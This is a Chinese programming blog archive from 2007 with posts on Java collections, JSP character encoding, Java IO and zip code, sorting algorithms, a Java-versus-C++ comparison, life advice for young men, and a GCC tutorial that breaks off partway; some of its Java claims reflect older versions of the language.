      如果程序在单线程环境中,或者访问仅仅在一个线程中进行,考虑非同步的类,其效率较高,如果多个线程可能同时操作一个类,应该使用同步的类。
      要特别注意对哈希表的操作,作为key的对象要正确复写equals和hashCode方法。
      尽量返回接口而非实际的类型,如返回List而非ArrayList,这样如果以后需要将ArrayList换成LinkedList时,客户端代码不用改变。这就是针对抽象编程。

    同步性
    Vector 是同步的。这个类中的一些方法保证了Vector中的对象是线程安全的。而ArrayList则是异步的,因此ArrayList中的对象并不是线程安全的。因为同步的要求会影响执行的效率,所以如果你不需要线程安全的集合那么使用ArrayList是一个很好的选择,这样可以避免由于同步带来的不必要的性能开销。
    数据增长
    从内部实现机制来讲ArrayList和Vector都是使用数组(Array)来控制集合中的对象。当你向这两种类型中增加元素的时候,如果元素的数目超出了内部数组目前的长度它们都需要扩展内部数组的长度,Vector缺省情况下自动增长原来一倍的数组长度, ArrayList是原来的50%,所以最后你获得的这个集合所占的空间总是比你实际需要的要大。所以如果你要在集合中保存大量的数据那么使用 Vector有一些优势,因为你可以通过设置集合的初始化大小来避免不必要的资源开销。
    使用模式
    在ArrayList和Vector中,从一个指定的位置(通过索引)查找数据或是在集合的末尾增加、移除一个元素所花费的时间是一样的,这个时间我们用O(1)表示。但是,如果在集合的其他位置增加或移除元素那么花费的时间会呈线形增长:O(n-i),其中n代表集合中元素的个数,i代表元素增加或移除元素的索引位置。为什么会这样呢?以为在进行上述操作的时候集合中第i和第i个元素之后的所有元素都要执行位移的操作。这一切意味着什么呢?
    这意味着,你只是查找特定位置的元素或只在集合的末端增加、移除元素,那么使用Vector或ArrayList都可以。如果是其他操作,你最好选择其他的集合操作类。比如,LinkList集合类在增加或移除集合中任何位置的元素所花费的时间都是一样的?O(1),但它在索引一个元素的使用缺比较慢-O(i),其中i是索引的位置.使用 ArrayList也很容易,因为你可以简单的使用索引来代替创建iterator对象的操作。LinkList也会为每个插入的元素创建对象,所有你要明白它也会带来额外的开销。
    最后,在《Practical Java》一书中Peter Haggar建议使用一个简单的数组(Array)来代替Vector或ArrayList。尤其是对于执行效率要求高的程序更应如此。因为使用数组(Array)避免了同步、额外的方法调用和不必要的重新分配空间的操作。
    posted @ 2007-07-01 02:36 jadmin 阅读(83) | 评论 (0)编辑 收藏
    posted @ 2007-06-30 21:27 jadmin 阅读(68) | 评论 (0)编辑 收藏
    1,事业永远第一
      虽然金钱不是万能的,但没有钱是万万不能的,虽然这句话很俗,但绝对有道理,所以30岁之前,请把你大部分精力放在你的事业上.
    2,别把钱看得太重
      不要抱怨自己现在工资低,银行存款4位数以下,看不到前途,现在要做的就是努力学习,即使你文凭再高,怎么把理论运用到实践还是需要一个很长的锻炼过程,社会永远是一所最博大的大学,它让你学到的知识远比你在学校学到的重要得多,所以同样,你也别太介意学历低.30岁之前靠自己能力买车买房的人还是极少.
    3,学会体谅父母
      别嫌他们唠叨,等你为人父了你就知道可怜天下父母心,在他们眼里你还是个孩子,但他们真的老了,现在得你哄他们开心了,也许只要你的一个电话,一点小礼物,就可以让他们安心,很容易做到.
    4,交上好朋友
      朋友对你一生都影响重大,不要去结识太多酒肉朋友,至少得有一个能在关键时刻帮助你的朋友,如果遇到这么一个人,就好好把握,日后必定有用,不管他现在是富还是穷.
    5,别太相信爱情
      心中要有爱,但请别说也别相信那些琼瑶阿姨小说里面的山盟海誓,世上本无永恒,重要的是责任,但女人心海底针,心变了,一切都成枉然,你要做的就是该出手时就出手,该放手时别犹豫.30岁之前的爱情不是假的,但只是大多数人都没有能真正把握好的能力,所以学会量力而行.
    6,别担心至今还保留初吻
      爱情不在多而在精,别以为自己20多岁还没碰过女孩子就害怕自己永远找不到老婆.以后你会有很多机会认识女孩子,要知道这个社会虽然男人多于女人,但现实是女人其实比男人更担心这个问题.男人30一枝花,你在升值而不是贬值,成熟的爱情往往更美丽更长久,所以不要像疯狗一样看到女孩就想追,学会品味寂寞.
    7,不要沉迷于任何东西
      所谓玩物而丧志,网络游戏是你在出校门之前玩的,你现在没有多余的时间和精力花费到这上面,否则你透支的东西以后都得偿还.一个人要有兴趣,爱好,但请分清楚轻重.
    8,年轻没有失败
      不要遇到挫折就灰心,年轻人要时刻保持积极向上的态度.失败了,重来过;失去了,再争取别的。错过了,要分析,下次来,要把握;幼稚了,下次,成熟点。不要紧,会好的,哪怕到了极点,也不要放弃,相信一定可以挺过去。不要消极,会好的。曾经的错,过去了,总不能回味在过去。现在的,很好,累完了,很舒服。不要伤,总会有人在支撑你。
    9,不要轻易崇拜或者鄙视一个人
         人都有偶像,但请拥有你自己的个性.不要刻意去模仿一个人,因为你就是你,是唯一的,独一无二的,要有自信.也不要全盘否定一个人,每个人是有价值的,如果你不能理解他,也请学会接受.
    10,要有责任心.
      不管你曾经怎样,但请从现在开始做一个正直的人.男人要有责任心,无论是工作还是生活上,一个有责任心的人才能让别人有安全感,才能让别人觉得你是一个值得信赖的人.我们不要懦弱,但请不要伤害爱你的人和你爱的人,尤其是善良的女孩,因为这个世界善良的女孩不多了,即使不想拥有,但也请让她保持她美丽的心.
    11,男人的外貌并不重要.
      不要为自己的长相身高而过分担心,一个心地善良,为人正直的男人远比那些空有英俊相貌,挺拔身材但内心龌龊的男人要帅得多.如果有人以貌取人,请不要太在意,因为你不用去为一个低级趣味的人而难过.
    12,学会保护身体
      不要以为现在抽烟喝酒,熬夜通宵也没什么事.那是因为你的身体正处于你一生的黄金时段.30岁以后你就能明白力不从心这个词的意义了,身体是革命的本钱,没有好的身体什么也做不了,所以要尽量让自己过有规律的健康生活.
    13,别觉得一事无成.
      你现在还没有资格谈成功,当然如果你有千万资产的除外.一开始太固定的职业并不一定是好事,或许在不断的改行当中,你会学到更丰富的知识,而且可以挖掘出自己的潜能,找到最适合你的工作.
    14,请认真工作
      即使你现在的工作再怎么无聊再怎么低级,也请你认真去对待,要知道任何成功人士都是从最小的事做起,或许你现在学不到多么了不起的知识,但起码你要学会良好的工作态度和工作方法,这对以后很重要.
    15,请认真对待感情.
      不要羡慕那些换女人像换鞋一样的花花公子,逢场作戏的爱情只是让你浪费时间浪费精力,一个人最痛苦的不是找不到爱人,而是心中没有了爱,当你把我爱你3 个字变成你最容易说的一句话时,那么你在爱情的世界里已经很难找到真正的幸福了.爱情没有公平,总有一个人比对方付出得多,即使没有结果,也别觉得不值, 因为你的付出不光是为了她,也是为了你自己的爱,为爱付出是很可贵的,赞自己一下.
    16.请留一点童心
      在内心深处,哪怕只是一个很小的角落里,请保持一份童心,不是幼稚,但有的时候单纯一点会让你很快乐.所以不要太计较得失,生活本无完美.
    posted @ 2007-06-25 14:51 jadmin 阅读(37) | 评论 (0)编辑 收藏

    pageEncoding
         
    在JSP标准的语法中,如果pageEncoding属性存在,那么JSP页面的字符编码方式就由pageEncoding决定,否则就由contentType属性中的charset决定,如果charset也不存在,JSP页面的字符编码方式就采用默认的ISO-8859-1。

    ContentType
          ContentType属性指定了MIME类型和JSP页面回应时的字符编码方式。MIME类型的默认值是“text/html”; 字符编码方式的默认值是“ISO-8859-1”. MIME类型和字符编码方式由分号隔开

    pageEncoding的内容只是用于jsp输出时的编码,不会作为header发出去的。

    pageEncoding    是通知web server jsp的编码。

    ===========================================================

    contentType — 指定的是JSP页最终 Browser(客户端)所见到的网页内容的编码.
    就是 Mozilla的 Character encoding, 或者是 IE6的 encoding. 例如 JSPtw Forum 用的contentType就是 Big5.
    pageEncoding — 指定JSP编写时所用的编码
    如果你的是 WIN98, 或 ME 的NOTEPAD记事本编写JSP, 就一定是常用的是Big5 或 gb2312, 如果是用 WIN2k winXP的
    NOTEPAD时, SAVE时就可以选择不同的编,码, 包括 ANSI(BIG5/GB2312)或 UTF-8 或 UNIONCODE(估是 UCS 16).
    因为 JSP要经过 两次的”编码”,
    第一阶段会用 pageEncoding, 第二阶段会用 utf-8 至utf-8, 第三阶段就是由TOMCAT出来的网页, 用的是contentType.

    阶段一是 JSPC的 JSP至JAVA(.java)原码的”翻译”, 它会跟据 pageEncoding 的设定读取JSP. 结果是 由指定的
    pageEncoding(utf-8,Big5,gb2312)的JSP 翻译成统一的utf-8 JAVA原码(.java). 如果pageEncoding设定错了, 或没设定(预设 ISO8859-1), 出来的 在这个阶段 就已是中文乱码.

    阶段二是由 JAVAC的JAVA原码至JAVA BYTECODE的编译. 不论JSP的编写时是用(utf-8,Big5,gb2312),经过阶段一的结果全都是utf-8的ENCODING的JAVA原码.
    JAVAC用 utf-8的ENCODING读取AVA原码, 编译成字符串是 utf-8 ENCODING的二进制码(.class). 这是 JAVA VIRTUAL MACNHINE对常数字符串在 二进制码(JAVA BYTECODE)内表逹的规范.

    阶段三是TOMCAT(或其的application container)加载和执行阶段二得来的JAVA二进制码, 输出的结果( 也就是BROWSER(客户端)见到的)
    这时一早隐藏在阶段一和二的参数contentType, 就发挥了功效. (见 阶段一的 ).

    response.setContentType(”text/html; charset=utf-8″);
    出来的可以是 utf-8, Big5, gb2312, 看的就是JSP ? contentType的设定.
    <%@ page session=”false” pageEncoding=”big5″ contentType=”text/html; charset=utf-8″ %>
    还有, pageEncoding 和contentType的预设都是 ISO8859-1. 而随便设定了其中一个, 另一个就跟着一样了(TOMCAT4.1.27是如此).
    但这不是绝对, 看的各自JSPC的处理方式. 而pageEncoding不等于contentType, 更有利亚洲区的文字 CJKV系JSP网页的开发和展示,
    (例pageEncoding=Big5 不等于 contentType=utf-8).
    一个简单的解决方法是在包含和被包含文件的开始部分都加上:
    <%@ page contentType=”text/html;charset=GB2312″ language=”java” %>

    posted @ 2007-06-24 15:43 jadmin 阅读(48) | 评论 (0)编辑 收藏
    //先写入文件,后读取
    import java.io.*;
    public class StreamDemo
    {
    public static void main(String[] args)
    {
       try
       {
        //建立输出流
        DataOutputStream out=
         new DataOutputStream(
          new BufferedOutputStream(
           new FileOutputStream(
            "Example.txt")));
        //写入一个double类型数据
        out.writeDouble(3.1425926);
        //写入一行文本
        out.writeBytes("This was pi");
        out.close();
        //建立输入流
        DataInputStream in=
         new DataInputStream(
          new BufferedInputStream(
           new FileInputStream(
            "Example.txt")));
        //建立输入Reader
        BufferedReader reader=
         new BufferedReader(
          new InputStreamReader(in));
        //读入一个double类型数据
        System.out.println(in.readDouble());
        //读入一行文本
        System.out.println(reader.readLine());
       }
       catch(IOException e)
       {
        System.out.println(e.toString());
       }
    }
    }
    posted @ 2007-06-18 23:51 jadmin 阅读(62) | 评论 (0)编辑 收藏
    import java.io.*;
    import java.util.zip.*;
    public class ZipCompress
    {
    public static void main(String[] args)
    {
       try
       {
        //建立输出文件流
        FileOutputStream fileOut=
         new FileOutputStream("Example.zip");
        //建立冗余验证流
        CheckedOutputStream checkedOut=
         new CheckedOutputStream(fileOut,new CRC32());
        //建立Zip流
        ZipOutputStream zipOut=
         new ZipOutputStream(
          new BufferedOutputStream(checkedOut));
        //设置注释内容
        zipOut.setComment("This is a java zipping test file");
        //文件名
        String fileName=
         "D:/kk/"+"mm.txt"; //文件路径(最好是全英文字符)
        //读取被压速文件流
        BufferedReader in=
         new BufferedReader(new FileReader(fileName));
        //建立压缩实体
        zipOut.putNextEntry(new ZipEntry(fileName));
        int ch;
        //当被压缩文件没有结束时继续读写
        while ((ch=in.read())!=-1)
        {
         zipOut.write(ch);
        }
        //关闭文件流,释放资源
        in.close();
        zipOut.close();
       }
       catch (IOException e)
       {
        System.out.println(e.toString());
       }
    }
    }
    posted @ 2007-06-18 19:21 jadmin 阅读(49) | 评论 (0)编辑 收藏

    import java.net.*;

    public class GetHostName {

         /**
          * @param args
          */
         public static void main(String[] args) {
             try{
                 InetAddress addr = InetAddress.getByName("127.0.0.1");//在给定主机名的情况下确定主机的 IP 地址。
                 byte[] ipAddr = new byte[]{127,0,0,1};
                 addr = InetAddress.getByAddress(ipAddr);// 返回此 InetAddress 对象的原始 IP 地址。

                 String hostName = addr.getHostName();//   获取此 IP 地址的主机名。
                 System.out.println(hostName);

                 String hostnameCanonical = addr.getCanonicalHostName();//获取此 IP 地址的完全限定域名。
                 System.out.println(hostnameCanonical);
             }catch(Exception e){
                 e.printStackTrace();
             }

         }

    }

    posted @ 2007-06-18 02:31 jadmin 阅读(50) | 评论 (0)编辑 收藏
            本文将提供一个对这些概念的简明的解释,而不是提供一些深入的或者如何使用的问题。

      Java在虚拟机上运行

      Java源代码并不是被编译成为普通的机器代码。而是被翻译成为虚拟机可以执行的代码。一个Java解释器最终执行这些代码。这其中没有连接的过程;解释在需要的时候动态的加载一些类;

      Java是完全面向对象的

      Java是一种完全面向对象的语言。这意味着你对任何一个Java对象所做的动作都是通过一个方法实现的。第一点就是,再也没有没有主函数这样的孤立的东西了。取而代之的是,你必须开始用一个对象的看法看待一个程序,一个类的对象。但是这个对象又什么对象呢?大多数Java程序只是简单的通过继承Java基础类Object来实现所需要的东西,但是你可以通过创建程序基础类用于多个特性相似的应用程序来节省时间。

      严格的面向对象的规定意味着理用原有的C/C++代码不可以直接不加改动的使用;系统调用也是这样的。C++中,你可以通过在C++正常的命名空间外声明extern"C"来使用原有的C的过程调用,包括系统调用。

      在Java中,只有一个类似的安全回溯的方法,但是并不是十分简单的方法。你必须定义一个本地方法,其目的是为C语言提供接口,然后提供连接的介质。Java环境提供了完成这种任务的工具,但是整个过程和C++中提供的extern比微不足道,完成使用C++类的过程则更加复杂,因为这样会引入对C的借口和C函数和C++成员函数的问题。

      幸运的是,许多常用的系统实用工具函数已经在系统类中的方法中提供出来,但是这些明显没有包含经过许多年来你所创建的那些类和过程。所以,在你需要的时候你应该去钻研一下。

      Java中没有独立的头文件

      在Java中,关于类的一切东西都被放到一个单独的文件中。方法的位置只可能在一个地方出现,一个方法的实现必须在它的定义过程中同时进行。这样做得优点是在实现程序的时候不容易因为文件的非同步错误而失败,或者获取到一个没有实现的声明。类的声明可以被Java解释器利用甚至是从一个编译过的单元中获取,所以不再需要有头文件,只要有编译过的文件。

      这样做的缺点与我们编程的过程有关。许多C++程序员喜欢用头文件来代替文档。要看一个成员函数的接口参数,只需要看头文件中的声明即可。你可以经常的看头文件即可了解怎样去使用这个类。在Java中,没有这样的总结。因为实现类方法的代码必须在方法定义的时候出现,而且,对于一个单独的函数的代码来说就经常占据了一整页乃至更多。这样,很难通过看Java的代码就初步了解类是怎样使用的。你必须为你需要的类准备足够多的文档。不言而喻,再处理非商业类库的时候文档是极度缺乏的。

      在当先的Java环境中提供了两个工具来补偿这些,javap来打印类标识,javadoc为嵌入式程序提供HTML文档。

      用Package来分解Java命名空间

      在大的C++工程中经常遇到的一个问题是命名空间--怎样保证工程的一些程序员不会创建和另一些程序员一样名字的类?更糟糕的是,供应商可能会提供一个包含和你的类一样名字的类的库。有许多方法可以解决这一问题,但是很可能在问题发现之前工程已经启动,改正错误是需要付出许多痛苦的。

      Java通过"Package"这个概念解决了这个问题,Package有效地通过通过集合类划分了命名空间。在不同包内的两个同名的类仍然是不同的。关键问题就变成了类是否放置到相应的包中。

      记住,Java并没有解决命名冲突的问题。扩展一个基类而引起了派生类的冲突。比如说,如果你最喜欢的供应商提供了一些类,然后你把它们用做基类并且派生有一个foo方法的类,当供应商提供一个新版本的类的时候就可能出现,如果供应商业也在新类中提供了一个foo的方法。

      异常是Java的重要特性

      在C++中,异常和异常处理是十分深奥的事情;许多C++程序员从没有处理过它们甚至不知道它们是何物。异常是在正常的过程中出现的未预料的错误,因此,它们不会从方法中返回,或者作为参数传入;但是,它们不能被忽略!这里的一个例子是计算一个书的方根的方法。正常的接口形式是将一个正数作为参数传入方法,然后方法会返回一个正实数作为结果,方法可以检验这些并且在异常产生的时候抛出异常。在大多数系统中,程序员并不是必须这样做,这样,一个没有考虑到的异常可以使程序不正常的退出。

      在Java中,异常已经成为语言中非常成熟的部分。方法的说明中就包含了异常的信息,程序处理器也强制检验如果你使用了一个能够产生异常的方法,你就必须检查异常是否发生。几乎所有的Java程序员都会遇到异常的情况,因为许多非常有用的库中的类都会抛出异常。处理异常并不难,但是在一些时候是需要注意的。一个方法的文档会指明方法抛出的异常的类型。如果你忘了,不要紧,编译器会提醒你的。

      字符串不再是字符数组

      Java中包括了一个字符串的对象,并且是个常量。字符串不像字符数组一样,虽然可以简单的从一个字符数组构造一个字符串。你应该尽可能的用字符串代替字符数组,因为他们不会因为误操作而被覆盖。

      Java限制了常量对象和方法

      在C++中,你可以正式的声明一个函数参数或者函数返回值为const类型,这样可以有效的防止对参数或者返回值的不正当修改。另外,你可以声明一个成员函数为const,表明它不可以修改任何他操作的对象。

      Java支持常量操作符,只读变量,这些通过final关键字实现。但是Java没有支持强制的使一个可写变量在函数传递、返回的过程中变为只读。或者定义一个不操作修改对象的常量方法。

      在Java中,这个省略带来的影响和在C++中相比就非常小了,这很大程度上因为字符串变量和字符数组的不同,但是这也带来一个引起错误的隐患。特别地,没有办法检验一个方法是否可以改动对象。

      Java没有指针

      理解指针的概念是一个C或C++程序员最难应付的问题。指针也是错误产生的一大根源。Java中没有指针,对象的句柄直接作为参数传递,而不是传递指针。另外,你必须通过索引使用数组。这些都不是什么大问题。然而,没有指针是在写含有函数指针或者成员函数指针的系统的时候引起很大麻烦。这个问题在处理回调函数的时候更加显著。

      Java没有参数化类型

      参数化类型提供了用一段程序处理许多相似程序的方法。一个例子就是开平方根的方法,它可以对int或者float操作。在C++中,这一特性是由模板提供的。

      Java中不包含C++中的模板的等价物。如果你经常使用模板来简化程序,比如说构造许多使用相似参数类型的函数,这简直就是灾难。这意味着更多使用复制、粘贴的过程来手动的完成。然而,如果你使用模板来生成类的话,没有简单的方法。

      Java使用垃圾回收

      在垃圾回收的语言中,运行时环境一直监测哪些内存不被使用。当一块内存不用的时候,系统自动的回收内存。比如说,一个对象在一个方法中生成,但是没有被调用着返回或者没有储存为全局变量,不能在方法外部使用。系统自己会知道哪些变量是你用不到的,哪些是可以用到的。因此,你不必再为破坏对象回收内存而担心。在C++中,很多的调试时间都被使用到检查内存漏洞中。Java的这种方法很大程度上降低了这种错误的可能。但是他依然不能处理逻辑混乱的程序,他们不能够被回收。许多C++的类中的析构函数是用来释放对象引用的内存的。Java使垃圾回收的事实说明在Java中不是必需写析构函数了。但是并不意味着你可以忘记为你的类写析构函数。比如,一个对象打开了网络连接就必须被恰当的清理来关闭这个连接。在Java中,析构函数被称作"finalization"方法。

      Java不支持多重继承

      在任何一个复杂的面向对象的系统中,实现一个有更多方法的新类是十分经常遇到的事情。比如说,一个Manager类,需要被作为一个连表的表头,但是一个Manager又必须是一个Employee。有许多方法来处理这样的问题。一个方法是允许从多个类继承。在这个例子中,Manager需要从Linked List和Employee继承。

      Java没有多重继承。但是你可以声明接口--来描述实现一些功能的编程接口。一个类可以由多个接口实现,包括他唯一的功能。不同的类可以由同样的接口实现。方法的参数既可以声明为类,也可以声明为接口。如果是接口的话,实现接口的类就可以作为参数传入方法。

      接口的概念要比多继承容易理解一些,但是他有一定的局限性。特别地,你必须在类中实现接口的时候编码去重新实现类的功能。

      Java支持多线程

      多线程可以使你写出在同一时刻完成多种任务的程序。比如说,你可以在完成读取一个大文件之间允许用户对已经读取的部分进行编辑。你需要把程序分为多线程来执行。为安全起见。你的程序要被精心的设计,因为可能不止一个线程需要对数据进行访问、修改。

      Java开始就支持多线程。类和接口用来分解一个程序成为不同的线程。语言简单的对重要的数据作同步或者锁定处理。

      Java以一些预定义的类为基础

      默认的Java环境中包括一些从Java基础类实现而来的一些包。这些允许你很快的写出一些有用的程序,这些包如下:

      java.awt:当今许多应用程序都非常依赖GUI,java提供了一个Abstract Window Toolkid,这可以让你在不考虑运行平台的前提下处理GUI对象。

      java.applet:applet的主要目的是提供浏览有关的内容。它本身是awt组件的字类并且支持其他一些特性,比如声音、渲染等。

      java.io:java.io提供了对流、文件、管道的读写操作。

      java.lang:提供了java的基础类Objcet,Integar,Float……;

      java.net:提供对网络编程的支持。包括处理socket,URL,Internet寻址等。

      java.util:为数据结构提供的通用实用工具集。
    posted @ 2007-06-15 00:11 jadmin 阅读(68) | 评论 (0)编辑 收藏

    插入排序:

    package org.rut.util.algorithm.support;

    import org.rut.util.algorithm.SortUtil;
    /**
    * @author treeroot
    * @since 2006-2-2
    * @version 1.0
    */
    public class InsertSort implements SortUtil.Sort{

         /* (non-Javadoc)
          * @see org.rut.util.algorithm.SortUtil.Sort#sort(int[])
          */
         public void sort(int[] data) {
             int temp;
             for(int i=1;i<data.length;i++){
                 for(int j=i;(j>0)&&(data[j]<data[j-1]);j--){
                     SortUtil.swap(data,j,j-1);
                 }
             }        
         }

    }


    冒泡排序:

    package org.rut.util.algorithm.support;

    import org.rut.util.algorithm.SortUtil;

    /**
    * @author treeroot
    * @since 2006-2-2
    * @version 1.0
    */
    public class BubbleSort implements SortUtil.Sort{

         /* (non-Javadoc)
          * @see org.rut.util.algorithm.SortUtil.Sort#sort(int[])
          */
         public void sort(int[] data) {
             int temp;
             for(int i=0;i<data.length;i++){
                 for(int j=data.length-1;j>i;j--){
                     if(data[j]<data[j-1]){
                         SortUtil.swap(data,j,j-1);
                     }
                 }
             }
         }

    }


    选择排序:

    package org.rut.util.algorithm.support;

    import org.rut.util.algorithm.SortUtil;

    /**
    * @author treeroot
    * @since 2006-2-2
    * @version 1.0
    */
    public class SelectionSort implements SortUtil.Sort {

         /*
          * (non-Javadoc)
          *
          * @see org.rut.util.algorithm.SortUtil.Sort#sort(int[])
          */
         public void sort(int[] data) {
             int temp;
             for (int i = 0; i < data.length; i++) {
                 int lowIndex = i;
                 for (int j = data.length - 1; j > i; j--) {
                     if (data[j] < data[lowIndex]) {
                         lowIndex = j;
                     }
                 }
                 SortUtil.swap(data,i,lowIndex);
             }
         }

    }


    改进后的归并排序:

    package org.rut.util.algorithm.support;

    import org.rut.util.algorithm.SortUtil;

    /**
    * @author treeroot
    * @since 2006-2-2
    * @version 1.0
    */
    public class ImprovedMergeSort implements SortUtil.Sort {

         private static final int THRESHOLD = 10;

         /*
          * (non-Javadoc)
          *
          * @see org.rut.util.algorithm.SortUtil.Sort#sort(int[])
          */
         public void sort(int[] data) {
             int[] temp=new int[data.length];
             mergeSort(data,temp,0,data.length-1);
         }

         private void mergeSort(int[] data, int[] temp, int l, int r) {
             int i, j, k;
             int mid = (l + r) / 2;
             if (l == r)
                 return;
             if ((mid - l) >= THRESHOLD)
                 mergeSort(data, temp, l, mid);
             else
                 insertSort(data, l, mid - l + 1);
             if ((r - mid) > THRESHOLD)
                 mergeSort(data, temp, mid + 1, r);
             else
                 insertSort(data, mid + 1, r - mid);

             for (i = l; i <= mid; i++) {
                 temp[i] = data[i];
             }
             for (j = 1; j <= r - mid; j++) {
                 temp[r - j + 1] = data[j + mid];
             }
             int a = temp[l];
             int b = temp[r];
             for (i = l, j = r, k = l; k <= r; k++) {
                 if (a < b) {
                     data[k] = temp[i++];
                     a = temp[i];
                 } else {
                     data[k] = temp[j--];
                     b = temp[j];
                 }
             }
         }

         /**
          * @param data
          * @param l
          * @param i
          */
         private void insertSort(int[] data, int start, int len) {
             for(int i=start+1;i<start+len;i++){
                 for(int j=i;(j>start) && data[j]<data[j-1];j--){
                     SortUtil.swap(data,j,j-1);
                 }
             }
         }


    堆排序:

    package org.rut.util.algorithm.support;

    import org.rut.util.algorithm.SortUtil;

    /**
    * @author treeroot
    * @since 2006-2-2
    * @version 1.0
    */
    public class HeapSort implements SortUtil.Sort{

         /* (non-Javadoc)
          * @see org.rut.util.algorithm.SortUtil.Sort#sort(int[])
          */
         public void sort(int[] data) {
             MaxHeap h=new MaxHeap();
             h.init(data);
             for(int i=0;i<data.length;i++)
                 h.remove();
             System.arraycopy(h.queue,1,data,0,data.length);
         }

          private static class MaxHeap{         
            
             void init(int[] data){
                 this.queue=new int[data.length+1];
                 for(int i=0;i<data.length;i++){
                     queue[++size]=data[i];
                     fixUp(size);
                 }
             }
             
             private int size=0;

             private int[] queue;
                    
             public int get() {
                 return queue[1];
             }

             public void remove() {
                 SortUtil.swap(queue,1,size--);
                 fixDown(1);
             }
             //fixdown
             private void fixDown(int k) {
                 int j;
                 while ((j = k << 1) <= size) {
                     if (j < size && queue[j]<queue[j+1])
                         j++;
                     if (queue[k]>queue[j]) //不用交换
                         break;
                     SortUtil.swap(queue,j,k);
                     k = j;
                 }
             }
             private void fixUp(int k) {
                 while (k > 1) {
                     int j = k >> 1;
                     if (queue[j]>queue[k])
                         break;
                     SortUtil.swap(queue,j,k);
                     k = j;
                 }
             }

         }

    }

    posted @ 2007-06-10 18:47 jadmin 阅读(62) | 评论 (0)编辑 收藏
    GCC

    GCC是GNU推出的Linux系统下C编译器,下面主要介绍这种编译器的基本原理和使用方法,以及编译过程中所产生的错误的原因及对策。

    GCC简介
    Linux系统下的gcc(GNU C Compiler)是GNU推出的功能强大、性能优越的多平台编译器,是GNU的代表作品之一。gcc是可以在多种硬体平台上编译出可执行程序的超级编译器,其执行效率与一般的编译器相比平均效率要高20%~30%。

    gcc编译器能将C、C++语言源程序、汇程式化序和目标程序编译、连接成可执行文件,如果没有给出可执行文件的名字,gcc将生成一个名为a.out的文件。在Linux系统中,可执行文件没有统一的后缀,系统从文件的属性来区分可执行文件和不可执行文件。而gcc则通过后缀来区别输入文件的类别,下面我们来介绍gcc所遵循的部分约定规则。

    .c为后缀的文件,C语言源代码文件;

    .a为后缀的文件,是由目标文件构成的档案库文件;

    .C,.cc或.cxx 为后缀的文件,是C++源代码文件;

    .h为后缀的文件,是程序所包含的头文件;

    .i 为后缀的文件,是已经预处理过的C源代码文件;

    .ii为后缀的文件,是已经预处理过的C++源代码文件;

    .m为后缀的文件,是Objective-C源代码文件;

    .o为后缀的文件,是编译后的目标文件;

    .s为后缀的文件,是汇编语言源代码文件;

    .S为后缀的文件,是经过预编译的汇编语言源代码文件。

    gcc的执行过程
    虽然我们称gcc是C语言的编译器,但使用gcc由C语言源代码文件生成可执行文件的过程不仅仅是编译的过程,而是要经历四个相互关联的步骤∶预处理(也称预编译,Preprocessing)、编译(Compilation)、汇编(Assembly)和连接(Linking)。

    命令gcc首先调用cpp进行预处理,在预处理过程中,对源代码文件中的文件包含(include)、预编译语句(如宏定义define等)进行分析。接着调用cc1进行编译,这个阶段根据输入文件生成以.o为后缀的目标文件。汇编过程是针对汇编语言的步骤,调用as进行工作,一般来讲,.S为后缀的汇编语言源代码文件和汇编、.s为后缀的汇编语言文件经过预编译和汇编之后都生成以.o为后缀的目标文件。当所有的目标文件都生成之后,gcc就调用ld来完成最后的关键性工作,这个阶段就是连接。在连接阶段,所有的目标文件被安排在可执行程序中的恰当的位置,同时,该程序所调用到的库函数也从各自所在的档案库中连到合适的地方。

    gcc的基本用法和选项
    在使用gcc编译器的时候,我们必须给出一系列必要的调用参数和文件名称。gcc编译器的调用参数大约有100多个,其中多数参数我们可能根本就用不到,这里只介绍其中最基本、最常用的参数。

    gcc最基本的用法是∶gcc [options] [filenames]

    其中options就是编译器所需要的参数,filenames给出相关的文件名称。

    -c,只编译,不连接成为可执行文件,编译器只是由输入的.c等源代码文件生成.o为后缀的目标文件,通常用于编译不包含主程序的子程序文件。

    -o output_filename,确定输出文件的名称为output_filename,同时这个名称不能和源文件同名。如果不给出这个选项,gcc就给出预设的可执行文件a.out。

    -g,产生符号调试工具(GNU的gdb)所必要的符号资讯,要想对源代码进行调试,我们就必须加入这个选项。

    -O,对程序进行优化编译、连接,采用这个选项,整个源代码会在编译、连接过程中进行优化处理,这样产生的可执行文件的执行效率可以提高,但是,编译、连接的速度就相应地要慢一些。

    -O2,比-O更好的优化编译、连接,当然整个编译、连接过程会更慢。

    -Idirname,将dirname所指出的目录加入到程序头文件目录列表中,是在预编译过程中使用的参数。C程序中的头文件包含两种情况∶

    A)#include

    B)#include “myinc.h”

    其中,A类使用尖括号(< >),B类使用双引号(“ ”)。对于A类,预处理程序cpp在系统预设包含文件目录(如/usr/include)中搜寻相应的文件,而对于B类,cpp在当前目录中搜寻头文件,这个选项的作用是告诉cpp,如果在当前目录中没有找到需要的文件,就到指定的dirname目录中去寻找。在程序设计中,如果我们需要的这种包含文件分别分布在不同的目录中,就需要逐个使用-I选项给出搜索路径。

    -Ldirname,将dirname所指出的目录加入到程序函数档案库文件的目录列表中,是在连接过程中使用的参数。在预设状态下,连接程序ld在系统的预设路径中(如/usr/lib)寻找所需要的档案库文件,这个选项告诉连接程序,首先到-L指定的目录中去寻找,然后到系统预设路径中寻找,如果函数库存放在多个目录下,就需要依次使用这个选项,给出相应的存放目录。

    -lname,在连接时,装载名字为“libname.a”的函数库,该函数库位于系统预设的目录或者由-L选项确定的目录下。例如,-lm表示连接名为“libm.a”的数学函数库。

    上面我们简要介绍了gcc编译器最常用的功能和主要参数选项,更为详尽的资料可以参看Linux系统的联机帮助。

    假定我们有一个程序名为test.c的C语言源代码文件,要生成一个可执行文件,最简单的办法就是∶

    gcc test.c

    这时,预编译、编译连接一次完成,生成一个系统预设的名为a.out的可执行文件,对于稍为复杂的情况,比如有多个源代码文件、需要连接档案库或者有其他比较特别的要求,就要给定适当的调用选项参数。再看一个简单的例子。

    整个源代码程序由两个文件testmain.c 和testsub.c组成,程序中使用了系统提供的数学库,同时希望给出的可执行文件为test,这时的编译命令可以是∶

    gcc testmain.c testsub.c □lm □o test

    其中,-lm表示连接系统的数学库libm.a,这个过程可以用图12-1框图描述。


    gcc的错误类型及对策
    gcc编译器如果发现源程序中有错误,就无法继续进行,也无法生成最终的可执行文件。为了便于修改,gcc给出错误资讯,我们必须对这些错误资讯逐个进行分析、处理,并修改相应的语言,才能保证源代码的正确编译连接。gcc给出的错误资讯一般可以分为四大类,下面我们分别讨论其产生的原因和对策。

    第一类∶C语法错误
